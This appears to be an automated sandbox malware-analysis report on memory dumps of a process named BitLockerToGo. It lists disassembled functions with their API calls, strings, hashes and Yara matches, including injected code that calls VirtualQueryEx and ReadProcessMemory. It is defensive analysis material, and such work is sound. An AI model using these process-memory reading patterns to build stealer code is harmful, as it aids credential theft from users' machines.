Instruction Fuzzy Hash: DD1182747072419FDF01CF59E958A473BF5FF8B32AF008229E92596B40F730A405CA55

Function 6CCBF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC84A68), ref: 6CCB945E
Part of subcall function 6CCB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCB9470
Part of subcall function 6CCB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCB9482
Part of subcall function 6CCB9420: __Init_thread_footer.LIBCMT ref: 6CCB949F

GetCurrentThreadId.KERNEL32 ref: 6CCBF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCBF561

Part of subcall function 6CCB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CCB94EE
Part of subcall function 6CCB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CCB9508

GetCurrentThreadId.KERNEL32 ref: 6CCBF577
AcquireSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CCBF585
ReleaseSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CCBF5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CCBF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CCBF3A8
[I %d/%d] profiler_resume, xrefs: 6CCBF239
[I %d/%d] profiler_resume_sampling, xrefs: 6CCBF499

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 5b1b980c0781cfac563de04143dcf3d035f1fd7b3c24d854bf8ab0e4b92b2dd1
Instruction ID: e625c04c99673368ee856d087b27bc267c907806600bc70d0342d22a61d2544d
Opcode Fuzzy Hash: 5b1b980c0781cfac563de04143dcf3d035f1fd7b3c24d854bf8ab0e4b92b2dd1
Instruction Fuzzy Hash: AAF05479600204AFEA006FA5A858A5ABBBDEF8629DF000055FA6593B01EB758805CB75

Function 6CCB05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CCACFAE,?,?,?,6CC731A7), ref: 6CCB05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CCACFAE,?,?,?,6CC731A7), ref: 6CCB0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CC731A7), ref: 6CCB061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CC731A7), ref: 6CCB0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CCB061B, 6CCB0625
<jemalloc>, xrefs: 6CCB05FA, 6CCB060F

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 990f9f228eb84fb63a156086ddb4d723d40548909abe9859e8adefc2366df46d
Instruction ID: 9b52f6d946ef8114332b680540075382e2cfdbcb19af2c57f8b84bb75f460d62
Opcode Fuzzy Hash: 990f9f228eb84fb63a156086ddb4d723d40548909abe9859e8adefc2366df46d
Instruction Fuzzy Hash: C5E08CE2A0101037F514225ABC86DFB7A1CDBCA134F08003AFD1D82301FA4AAD1A51F6

Function 6CC805F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 954850f5492e239ef8c4c30c21630a56406034aeff67448217f2ad65329e0ee5
Instruction ID: b916c16fc70b8c6436eac943d16f08efb6d9719d9a642faea64008e8f01dc560
Opcode Fuzzy Hash: 954850f5492e239ef8c4c30c21630a56406034aeff67448217f2ad65329e0ee5
Instruction Fuzzy Hash: C0A14A70A02645CFDB14CF29C594A9AFBF1FF49308F54866ED45A97B01E730A985CF90

Function 6CCD14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCD14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CCD14E2
GetCurrentThreadId.KERNEL32 ref: 6CCD1546
InitializeConditionVariable.KERNEL32(?), ref: 6CCD15BA
free.MOZGLUE(?), ref: 6CCD16B4

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: d1be200e83b528a9cc5b167ec72cb0bfbe5bf55183e04e06a3dfa5a25b5dc272
Instruction ID: 0bf3294ee53e2ca642980d2727c07e084f6a7fb4648ae22eac136d2e6d27c27b
Opcode Fuzzy Hash: d1be200e83b528a9cc5b167ec72cb0bfbe5bf55183e04e06a3dfa5a25b5dc272
Instruction Fuzzy Hash: 6161DF71A007049FDB118F29C880BDEB7B4BF8A318F05851CEE8A57701EB35E949CB91

Function 03013560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 03013588

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

strtok_s.MSVCRT ref: 030136D1

Part of subcall function 0301A820: lstrlen.KERNEL32(00000000,?,?,03015B54,03020ADB,03020ADA,?,?,03016B16,00000000,?,03540578,?,0302110C,?,00000000), ref: 0301A82B
Part of subcall function 0301A820: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A885

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 19bb3661535592a18ec44b3e03f2e1b1c4d22ee0123f10968444c338e47eae1b
Instruction ID: 163cac176c84e577565bbf5816ac05342bdabb6fa2386f9e7da29caf3e689d23
Opcode Fuzzy Hash: 19bb3661535592a18ec44b3e03f2e1b1c4d22ee0123f10968444c338e47eae1b
Instruction Fuzzy Hash: 5D412FB9E12209AFCB44EFE4D848AEEBBB8BF44314F04C418E4167B240DB759615CFA1

Function 6CCCDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCCDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CCCD38A,?), ref: 6CCCDC6F
free.MOZGLUE(?,?,?,?,?,6CCCD38A,?), ref: 6CCCDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CCCD38A,?), ref: 6CCCDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CCCD38A,?), ref: 6CCCDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CCCD38A,?), ref: 6CCCDD4A

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: a5ae5ffad7db90a3437c8df0009bd29a9a897b9248e6c04225a2463123508856
Instruction ID: b2a31f850e2d7188bce5fa99de5632d978e5553f2a079cbb131ca680131ccde5
Opcode Fuzzy Hash: a5ae5ffad7db90a3437c8df0009bd29a9a897b9248e6c04225a2463123508856
Instruction Fuzzy Hash: 9B4147B5F00605CFCB00CF99D89099ABBB5FF89314B554569D946ABB10EB31EC00CBA1

Function 0301B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0301B39A

Part of subcall function 0301AFAC: __mtinitlocknum.LIBCMT ref: 0301AFC2
Part of subcall function 0301AFAC: __amsg_exit.LIBCMT ref: 0301AFCE
Part of subcall function 0301AFAC: RtlEnterCriticalSection.NTDLL ref: 0301AFD6

RtlDecodePointer.NTDLL(0302A120), ref: 0301B3D6
RtlDecodePointer.NTDLL ref: 0301B3E7

Part of subcall function 0301BE35: RtlEncodePointer.NTDLL(00000000), ref: 0301BE37

RtlDecodePointer.NTDLL(-00000004), ref: 0301B40D
RtlDecodePointer.NTDLL ref: 0301B420
RtlDecodePointer.NTDLL ref: 0301B42A

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: edb6bb14fc46f4a60ce6d839c15190d4b561e59095617eda44d0de464e38dc63
Instruction ID: 2fac01a2ebac91add6a732b245bc292f54f4bc3cb51c6df193d20b9e89680f8d
Opcode Fuzzy Hash: edb6bb14fc46f4a60ce6d839c15190d4b561e59095617eda44d0de464e38dc63
Instruction Fuzzy Hash: C0314778D02309DFDF50EFA9C9842DDBAF1BF48310F14806AD414AA650CBB54960EF25

Function 6CCB6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CCAFA80: GetCurrentThreadId.KERNEL32 ref: 6CCAFA8D
Part of subcall function 6CCAFA80: AcquireSRWLockExclusive.KERNEL32(6CCFF448), ref: 6CCAFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCB6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CCB67C8

Part of subcall function 6CCC4290: memcpy.VCRUNTIME140(?,?,6CCD2003,6CCD0AD9,?,6CCD0AD9,00000000,?,6CCD0AD9,?,00000004,?,6CCD1A62,?,6CCD2003,?), ref: 6CCC42C4

Strings

data, xrefs: 6CCB6593

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: ac08a93d6bf2e7bcb2c31e351eedc317bd5e817d32a8cee99e2e35026a10e93f
Instruction ID: e5d4bf1d254e9a8d058086ae97b23936cd695ea177d8868512b361671e1f0f44
Opcode Fuzzy Hash: ac08a93d6bf2e7bcb2c31e351eedc317bd5e817d32a8cee99e2e35026a10e93f
Instruction Fuzzy Hash: 64D1CA71A087408FD724CF65D851B9ABBF5AFC5308F10892DE589A7B90FB31A849CB52

Function 0301C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0301C9EA

Part of subcall function 0301BF9F: __getptd_noexit.LIBCMT ref: 0301BFA2
Part of subcall function 0301BF9F: __amsg_exit.LIBCMT ref: 0301BFAF

__amsg_exit.LIBCMT ref: 0301CA0A
__lock.LIBCMT ref: 0301CA1A
InterlockedDecrement.KERNEL32(?), ref: 0301CA37
free.MSVCRT ref: 0301CA4A
InterlockedIncrement.KERNEL32(0302B558), ref: 0301CA62

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 79019fc6ea3cd2aad089d4c2790f059264b2d39ef442b9d209d44cc957e2ad65
Instruction ID: 9bf55728f1f845bd967ca7ff5a1f660a9832d2ff16d324479898a75d76ce8d60
Opcode Fuzzy Hash: 79019fc6ea3cd2aad089d4c2790f059264b2d39ef442b9d209d44cc957e2ad65
Instruction Fuzzy Hash: 1701D236A837259FE762FB69800479DB7E0BF40764F594109E8107B280CB38E560CBD1

Function 6CCAD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CC7EB57,?,?,?,?,?,?,?,?,?), ref: 6CCAD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CC7EB57,?), ref: 6CCAD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CC7EB57,?), ref: 6CCAD673
free.MOZGLUE(?), ref: 6CCAD888

Strings

|Enabled, xrefs: 6CCAD81E

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: bff7ff71c74d893c98c68449f8f10b63bd44675c756fea475ad2dfa61ffe49ba
Instruction ID: 648a96367d054f80a61f54b6f24e683430c254359d7d27cf550ae0c5dd880db7
Opcode Fuzzy Hash: bff7ff71c74d893c98c68449f8f10b63bd44675c756fea475ad2dfa61ffe49ba
Instruction Fuzzy Hash: 93A1F3B0A0030A9FDB14CFA9C4947AEBBF1EF49318F14845CD895AB741E735A946CBA1

Function 03016F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 03016F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0301719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 03016F4D

Part of subcall function 03016BD0: strlen.MSVCRT ref: 03016BE1
Part of subcall function 03016BD0: strlen.MSVCRT ref: 03016C05

VirtualQueryEx.KERNEL32(0301730D,00000000,?,0000001C), ref: 03016F92
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0301719A), ref: 030170B3

Part of subcall function 03016DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 03016DF8

Strings

@, xrefs: 03016FA6

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 04f2e7faa45f8d7f08f64c8ae0433978cc4b4a651de997a649a5b1d4ef51f06b
Instruction ID: c1dd5e59a0629eec40fde730e7130e96775381a412b8a00e1a41b53257bcbdcc
Opcode Fuzzy Hash: 04f2e7faa45f8d7f08f64c8ae0433978cc4b4a651de997a649a5b1d4ef51f06b
Instruction Fuzzy Hash: EF5117B5E01209EBDB04CF98D981AEFB7B6FF88700F148558F919A7240D735EA11CBA1

Function 6CCAF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CCAF480

Part of subcall function 6CC7F100: LoadLibraryW.KERNEL32(shell32,?,6CCED020), ref: 6CC7F122
Part of subcall function 6CC7F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CC7F132

CloseHandle.KERNEL32(00000000), ref: 6CCAF555

Part of subcall function 6CC814B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CC81248,6CC81248,?), ref: 6CC814C9
Part of subcall function 6CC814B0: memcpy.VCRUNTIME140(?,6CC81248,00000000,?,6CC81248,?), ref: 6CC814EF

Part of subcall function 6CC7EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CC7EEE3

CreateFileW.KERNEL32 ref: 6CCAF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CCAF523

Strings

\oleacc.dll, xrefs: 6CCAF4CB

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 9c942e918ef27de50ddf3ad2bffa9672e9c2e349ec578c0fb2770d343e439377
Instruction ID: 2f8e9b49aad0447397833eb7866aa3ba53575bb093628f7e3c19abb99af15b1c
Opcode Fuzzy Hash: 9c942e918ef27de50ddf3ad2bffa9672e9c2e349ec578c0fb2770d343e439377
Instruction Fuzzy Hash: E84191306087119FE720DFA9D888A9BB7F4BF85318F500A1CF5A593650FB30D94ACB92

